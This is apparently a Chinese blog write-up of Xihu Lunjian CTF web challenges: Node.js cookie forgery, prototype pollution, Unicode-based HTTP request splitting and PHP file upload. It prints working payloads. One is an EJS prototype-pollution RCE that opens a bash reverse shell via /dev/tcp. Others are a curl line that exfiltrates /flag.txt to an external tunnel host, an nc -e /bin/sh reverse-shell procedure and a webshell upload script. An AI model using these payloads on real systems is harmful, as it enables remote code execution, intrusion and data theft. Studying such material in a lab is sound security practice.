西湖论剑
Node Magical Login
在flag1路径下伪造cookie可以拿到flag1
在checkcode = checkcode.toLowerCase()处通过数组使之报错进入catch拿到flag2
复现过程中的收获:
content-type 本来不是json,没有注意到所以刚开始没找到问题所在
checkcode = checkcode.toLowerCase() 在转换时利用数组使之报错
real_ez_node
merge操作可能存在原型链污染
json情况下 __proto__
会被认为是一个真正的“键名”
所有变量的最顶层都是object,当前环境没有变量a,它会直接去寻找Object对象的属性当中是否有a这个键值对是否存在
Function()函数存在危险 可以RCE
var ip = req.connection.remoteAddress;
说明ip是不能通过请求头来伪造的
禁掉了__proto__
,可以使用constructor.prototype
绕过,因为constructor.prototype也可以操作原型链
expand函数存在的原型链污染漏洞
const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);
for (let index in JSON.parse(payload)) {
safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);
会话固定漏洞
用户未登录时的会话ID和登录后的会话ID保持一致
Unicode 字符损坏造成的 HTTP 拆分攻击
node.js的http库阻止了CRLF(遇到换行回车空格会url编码)
Node.js v8 或更低版本存在漏洞(在高版本中的node.js遇到非Ascii会报错)
这个环境是利用高位数unicode码来实现CRLF,因为ejs模板引擎采用的是latin1编码,这会将高位数的unicode码拆分为\r\n
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close
{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/IP/端口 0>&1\\"');var __tmp2"}
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
print(payload)
# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮııķĮıIJĵĮIJIJİįIJijijijĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ
curl 5b617r7077.zicp.fun:15497/`cat /flag.txt` 在目标机器执行的命令不用拿shell回传信息,但是遇到控制符就不行了
无公网ip反弹shell流程:
在kali中 nc -lvvnp 54321 开启监听端口
然后花生壳映射到kali的ip
然后在目标机器上执行 nc 花生壳的IP 花生壳分配的端口 -e /bin/sh
成功后就可以ls了
但是在环境中不知道问题出在哪了
扭转乾坤
java的文件上传
RFC标准的实现差异在Content-Type里边有漏洞
unusual php
RC4加密
https://cc.forensix.cn/#recipe=RC4(%7B'option':'UTF8','string':''%7D,'Latin1','Latin1')
python脚本实现文件上传
import base64
import requests
url = 'http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/?a=upload'
shell = '473xeG4d3kJANayE56+fzrJLaDo2vtMx'
files = {'file': ("shell.php", base64.b64decode(shell))}
response = requests.post(url, files=files)
print(response.text)
标签:__,shell,payload,checkcode,西湖,论剑,HTTP,whoami
From: https://www.cnblogs.com/yhchen-blogs/p/17107503.html